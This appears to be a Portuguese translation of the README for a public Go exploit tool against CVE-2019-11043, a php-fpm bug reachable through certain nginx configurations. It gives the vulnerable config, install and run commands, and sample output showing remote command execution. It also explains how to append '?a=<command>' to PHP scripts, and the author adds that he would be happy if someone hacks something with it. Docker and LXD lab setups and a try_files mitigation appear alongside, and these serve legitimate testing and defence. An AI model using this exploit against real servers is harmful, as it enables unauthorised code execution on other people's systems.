
Exploit para CVE-2019-11043
Este é um exploit para um bug no php-fpm (CVE-2019-11043). Em certas configurações de nginx + php-fpm, o bug pode ser acionado externamente. Isso significa que um usuário da web pode obter execução de código se você tiver uma configuração vulnerável (veja abaixo).
Como estávamos com preguiça de fazer uma análise, Orange Tsai publicou uma análise perfeita em seu blog. Créditos para ele.
Além disso, meus slides da ZeroNights 2019 estão disponíveis.
Se um servidor web executa nginx + php-fpm e o nginx tiver uma configuração como
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
que também não tenha verificações de existência de script (como try_files), então você provavelmente conseguirá invadi-lo com este sploit.
location ~ [^/]\.php(/|$) deve ser encaminhado para o php-fpm (talvez a regex possa ser mais restrita, veja #1).PATH_INFO via declaração fastcgi_param PATH_INFO $fastcgi_path_info;. Além disso, SCRIPT_FILENAME deve ser definido usando fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (pode haver um caminho constante em vez de $document_root). No início, pensamos que isso estava sempre presente no arquivo fastcgi_params, mas não é verdade.PATH_INFO como um valor vazio. Este exploit assume que a diretiva fastcgi_split_path_info está presente e contém uma regex começando com ^ e terminando com $, então ele tenta quebrar a regex com um caractere de nova linha.Há muito tempo, o php-fpm não restringia as extensões dos scripts, o que significava que algo como /avatar.png/some-fake-shit.php poderia executar avatar.png como um script PHP. Esse problema foi corrigido por volta de 2010.
O atual não exige upload de arquivo, funciona nas versões mais recentes (até a correção ser lançada) e, o mais importante, o exploit é muito mais legal.
Instale-o usando
go get github.com/neex/phuip-fpizdam
Se você tiver erros estranhos de compilação, certifique-se de estar usando go >= 1.13. Execute o programa usando phuip-fpizdam [url] (supondo que você tenha $GOPATH/bin dentro do seu $PATH, caso contrário, especifique o caminho completo para o binário). Uma boa saída se parece com isso:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
Depois disso, você pode começar a acrescentar ?a=<seu comando> a todos os scripts PHP (talvez seja necessário repetir várias vezes).
Alternativamente, você pode usar uma imagem docker para executar o exploit:
docker run --rm ypereirareis/cve-2019-11043 [url]
Se você quiser reproduzir o problema ou brincar com o exploit localmente por meio do Docker, faça o seguinte:
reproducer.docker build -t reproduce-cve-2019-11043 .. Isso leva muito tempo, pois clona internamente o repositório do php e o compila a partir do código-fonte. No entanto, será mais fácil dessa forma se você quiser depurar o exploit. A revisão compilada é a imediatamente anterior à correção.docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.phuip-fpizdam http://127.0.0.1:8080/script.php?a= ao script: http://127.0.0.1:8080/script.php?a=id. Tente várias vezes, pois apenas alguns dos workers do php-fpm estão infectados.Se você quiser reproduzir o problema ou experimentar o exploit localmente via LXD, faça o seguinte:
vulnerable e attacker. Você pode usar a imagem de container ubuntu:18.04 para ambos os containers.vulnerable, instale nginx e php-fpm. Configure o bloco de servidor conforme esta configuração. Crie um arquivo vazio /var/www/html/index.php.attacker, instale a linguagem Go (sudo snap install go --classic), clone este repositório e execute go build no diretório do repositório../phuip-fpizdam http://vulnerable.lxd/index.php. Tente várias vezes para infectar todos os workers do php-fpm.Para instruções mais detalhadas, veja Testando CVE-2019-11043 (vulnerabilidade de segurança do php-fpm) com containers de sistema LXD.
O buffer underflow no php-fpm está presente na versão 5 do PHP. No entanto, este exploit utiliza uma otimização usada para armazenar variáveis FastCGI, _fcgi_data_seg. Essa otimização está presente apenas no php 7, portanto este exploit específico funciona apenas no php 7. Pode haver outra técnica de exploração que funcione no php 5.
Anomalia original descoberta por d90pwn durante o Real World CTF. Causa raiz encontrada por mim (Emil Lerner), assim como a forma de definir opções do php.ini. O conjunto final de opções do php.ini foi encontrado por beched.
Este exploit é distribuído sob os termos da Licença MIT.
Abstenha-se de causar qualquer dano com este exploit. Mas se você realmente invadir algo com esta ferramenta, ficarei feliz.
PATH_INFO é definido após REQUEST_URI na configuração.try_files $uri =404 ou if (-f $uri). Se o Nginx descartar solicitações para scripts inexistentes antes do encaminhamento FastCGI, nossas solicitações nunca chegam ao php-fpm. Adicionar isso também é a maneira mais fácil de corrigir.